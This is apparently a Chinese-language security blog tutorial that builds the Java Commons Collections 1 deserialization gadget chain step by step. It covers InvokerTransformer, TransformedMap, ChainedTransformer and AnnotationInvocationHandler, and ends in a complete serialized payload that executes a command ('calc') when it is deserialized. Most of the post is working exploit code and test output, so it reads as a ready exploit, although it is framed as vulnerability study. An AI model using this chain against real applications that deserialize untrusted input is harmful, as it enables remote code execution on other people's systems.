JAVA反序列化CC1

参考:Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

环境搭建

jdk1.8 依赖 common-collections-3.2.1

还要下载sun包源码便于分析 参考:https://blog.csdn.net/mazhongjia/article/details/108292927

漏洞分析

普通测试执行代码

1
2
3
4
5
6
7
8
9
public class CC1Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec_method = c.getDeclaredMethod("exec", String.class);
exec_method.invoke(r, "calc");
}
}

0x1

包中有 InvokerTransformer 可以看到其中transform方法可以反射调用函数 而且类和函数名均可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
// ...
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// ...
}

}

测试:

1
2
3
4
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
// 成功弹出计算器

0x2

接着继续追踪InvokerTransformer.transform在哪些地方被调用

发现TransformedMap.checkSetValue中有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}

TransformedMap.checkSetValue又在 AbstractInputCheckedMapDecorator.MapEntry.setValue中被调用

也就是遍历map时setValue 又因为TransformedMapAbstractInputCheckedMapDecorator的子类 所以遍历TransformedMap 并setValue即可触发

但需注意给的value值应该为要transform的类对象

AbstractInputCheckedMapDecorator.MapEntry.setValue又在rt.jar中的sun.reflect.annotation.AnnotationInvocationHandler.readObject 中被调用 到这里就明显有一条反序列化利用链了

测试:

1
2
3
4
5
6
7
8
9
10
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Map<Object, Object> map = new HashMap<>();
map.put("key", r);
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(r);
}
// 成功弹出计算器

0x3

因为Runtime不可序列化 所以要利用反射构造

1
2
3
4
5
6
7
8
9
//        Class cls = Runtime.class;
// Method getRuntimeMethod = cls.getMethod("getRuntime");
// Runtime rt = (Runtime) getRuntimeMethod.invoke(null);
/************************转为以下等价代码****************************/

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime rt = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);
// 成功弹出计算器

多个Transformer已经有现成的类ChainedTransformer来处理

构造时按顺序传入InvokerTransformer数组 然后transform时输入最开始的参数 就会链式调用了

1
2
3
4
5
6
7
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform(Runtime.class);
// 成功弹出计算器

此时再次搭配Map:

1
2
3
4
5
6
7
8
9
10
11
12
13
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

Map<Object, Object> map = new HashMap();
map.put("key", "val");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(Runtime.class);
}
// 成功弹出计算器

0x4

sun.reflect.annotation.AnnotationInvocationHandler.readObject中进行两个if检测,通过后setValue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

setValue 看起来传不了我们想要的Runtime.class 那么可以改造ChainedTransformer,增添一个ConstantTransformer

1
2
3
4
5
6
7
8
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform();
// 成功弹出计算器

此时再结合AnnotationInvocationHandler序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> map = new HashMap();
map.put("value", "val"); // 键只能是value 通过检测
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aic = c.getDeclaredConstructor(Class.class, Map.class);
aic.setAccessible(true);
Object o = aic.newInstance(Target.class, transformedMap);

serializeTest(o);
unSerializeTest();
// 成功弹出计算器
/*
public static void serializeTest(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin"));
oos.writeObject(obj);
}
public static void unSerializeTest() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("bin"));
Object obj = ois.readObject();
}
*/
⬆︎TOP